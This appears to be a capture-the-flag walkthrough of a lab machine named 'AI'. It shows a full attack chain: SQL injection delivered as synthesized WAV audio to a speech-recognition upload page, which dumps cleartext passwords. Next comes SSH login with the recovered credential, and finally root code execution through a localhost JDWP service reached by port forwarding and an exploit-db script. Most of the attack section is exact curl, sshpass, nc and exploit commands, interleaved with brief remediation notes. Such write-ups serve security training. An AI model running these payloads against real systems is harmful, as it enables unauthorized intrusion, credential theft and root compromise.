AI
Summary
Target ai ($TARGET) was fully compromised by chaining two critical vulnerabilities. An Apache/PHP web application offered an AI speech-recognition feature that accepted WAV audio uploads, transcribed them via a speech-to-text engine, and concatenated the resulting text directly into a backend MySQL query with no parameterization.
By synthesizing WAV audio with flite and iteratively calibrating which spoken words the ASR engine transcribed as SQL keywords, I built a working UNION-based injection payload delivered entirely through audio files, dumping the application's users table and recovering four accounts with their cleartext passwords. SSH login as alexa using the recovered credential gave a low-privilege shell and the user flag.
Post-foothold socket enumeration revealed a Java Debug Wire Protocol (JDWP) listener bound to localhost:8000 whose owning JVM process ran as root. JDWP has no authentication by design; SSH local port-forwarding brought the service to my machine, and a public RCE exploit (exploit-db 46501) triggered a JVM breakpoint via background HTTP traffic and injected a shell command that executed as root — full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Baseline HTTP response — reveals Apache/2.4.29 server header and any redirect.
$ curl -s -i http://$TARGET/Aggressive fingerprint; confirms Apache, PHP, and any CMS/framework.
$ whatweb -a3 http://$TARGETFetch the speech-recognition upload page; note the dual-echo response structure indicating SQL pass-through.
$ curl -s http://$TARGET/ai.phpExact commands 3
Install voice synthesis and audio manipulation tools on my machine.
$ sudo apt-get install -y flite sox espeak-ngSmoke-test: confirm the pipeline echoes back the transcribed word.
$ flite -t 'one' -o /tmp/ai_one.wav && curl -s -F 'fileToUpload=@/tmp/ai_one.wav;type=audio/wav' -F 'submit=Process It!' http://$TARGET/ai.phpIterate voice profiles (kal16/awb/rms/slt) and phrase wording until ASR produces the SQL fragment; replace 'comment comment' with whichever spoken tokens yield '-- -'.
$ flite -voice kal16 -t "' union select database comment comment" -o /tmp/sqli_db.wav && curl -s -F 'fileToUpload=@/tmp/sqli_db.wav;type=audio/wav' -F 'submit=Process It!' http://$TARGET/ai.phpFixUse parameterized queries — never interpolate user-controlled input into SQLCritical
Exact commands 2
Recover all usernames; expect alexa,root,dbuser,<withheld>.
$ # WAV encodes: "'union select group_concat(username)from users-- -"
curl -s -F 'fileToUpload=@/tmp/sqli_users.wav;type=audio/wav' -F 'submit=Process It!' http://$TARGET/ai.phpRecover all passwords in plaintext; carefully note special characters that the ASR may mis-transcribe.
$ # WAV encodes: "'union select group_concat(password)from users-- -"
curl -s -F 'fileToUpload=@/tmp/sqli_pass.wav;type=audio/wav' -F 'submit=Process It!' http://$TARGET/ai.phpFixStore passwords as salted hashes — never in cleartextHigh
Exact commands 2
Confirm SSH access; expect uid=1000(alexa).
$ sshpass -p "$PASSWORD" ssh -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 22 alexa@$TARGET idRead the user flag: <user.txt>.
$ sshpass -p "$PASSWORD" ssh -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 22 alexa@$TARGET 'cat /home/alexa/user.txt'Exact commands 3
List internal TCP listeners; note 127.0.0.1:8000 and 127.0.0.1:8080.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alexa@$TARGET 'ss -tlnp'Confirm JDWP: the server echoes the same handshake string back if JDWP is listening.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alexa@$TARGET 'echo -n "JDWP-Handshake" | nc -w3 127.0.0.1 8000'Identify the JVM process owner; expect root.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alexa@$TARGET 'ps aux | grep -i java'FixDisable JDWP in production and run the Java application server as a least-privilege accountCritical
Exact commands 3
Forward JDWP (remote 8000) to local 18001; -f -N runs in background without a remote command.
$ sshpass -p "$PASSWORD" ssh -f -N -L 127.0.0.1:18001:127.0.0.1:8000 -p 22 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alexa@$TARGETForward Tomcat (remote 8080) to local 18080 for HTTP traffic generation.
$ sshpass -p "$PASSWORD" ssh -f -N -L 127.0.0.1:18080:127.0.0.1:8080 -p 22 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alexa@$TARGETVerify the forwarded tunnel reaches the JDWP endpoint from my machine.
$ echo -n 'JDWP-Handshake' | nc -w3 127.0.0.1 18001Exact commands 4
Locate the JDWP RCE exploit; note the full path (/usr/share/exploitdb/exploits/java/remote/46501.py).
$ searchsploit -p 46501Background loop: send HTTP traffic to Tomcat to trigger JVM activity needed for breakpoint injection.
$ (for i in $(seq 1 180); do curl -s --max-time 2 http://127.0.0.1:18080/ >/dev/null 2>&1; sleep 0.2; done) &Run under Python 2 (not Python3 — script uses print statements); injects command into the root JVM process.
$ timeout 90 python2 /usr/share/exploitdb/exploits/java/remote/46501.py -t 127.0.0.1 -p 18001 --break-on java.lang.String.indexOf --cmd 'cp /root/root.txt /tmp/.rootflag; chmod 644 /tmp/.rootflag'Read the root flag via alexa's SSH session: <root.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null alexa@$TARGET 'cat /tmp/.rootflag'Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.